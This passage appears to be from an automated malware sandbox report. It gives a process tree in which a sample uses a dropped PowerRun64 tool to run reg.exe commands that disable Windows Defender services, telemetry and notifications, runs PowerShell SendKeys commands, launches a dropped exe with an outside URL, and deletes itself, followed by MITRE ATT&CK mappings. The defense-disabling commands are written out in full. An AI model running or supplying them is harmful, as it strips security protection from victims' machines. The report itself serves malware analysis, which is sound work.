- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:396
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReportingLocation" /t reg_MULTI_SZ /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3552
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t reg_DWORD /d "2" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5008
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:452
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v "HideSystray" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3888
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender notification settings
    - System Location Discovery: System Language Discovery
    PID:3968
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender notification settings
    PID:3956
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /t reg_BINARY /d "030000000000000000000000" /f
    3⤵
    PID:2664
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3196
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2092
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:5084
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:632
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4008
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3684
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:3044
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:1784
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2444
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2056
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:4132
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:1584
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1692
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2912
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:3096
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:4872
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4480
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:216
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2320
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:4952
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4308
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2648
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:3636
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies security service
        
        PID:3196
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:3080
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:3580
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2064
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies security service
        
        PID:4196
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:1696
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:2264
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:4456
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:3632
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:3064
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:1388
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2316
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:1584
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:2092
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:1964
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:4136
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:3776
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:3476
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:1992
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:4536
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:4716
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:2816
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:2600
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:4400
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:3024
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:2868
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:4556
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2872
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:4728
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:2556
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:2492
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:3860
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies security service
        
        PID:2488
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:5064
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:2460
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2092
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies security service
        
        PID:2144
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    PID:4964
  - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      PID:1464
    - - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:4176
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies Security services
        
        PID:2316
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "Get-MpPreference"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    PID:3180
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^a')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4060
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^c')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4028
- C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\acxxtzcogvgr.exe
  "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\acxxtzcogvgr.exe" "http://www.imagerymacdermott.click" "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\5527"
  2⤵
  - Executes dropped EXE
  PID:3644
- C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\win_version_csharp.exe
  "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\win_version_csharp.exe"
  2⤵
  - Executes dropped EXE
  PID:4948
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\system32\explorer.exe
  2⤵
  - Deletes itself
  - System Location Discovery: System Language Discovery
  PID:4556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry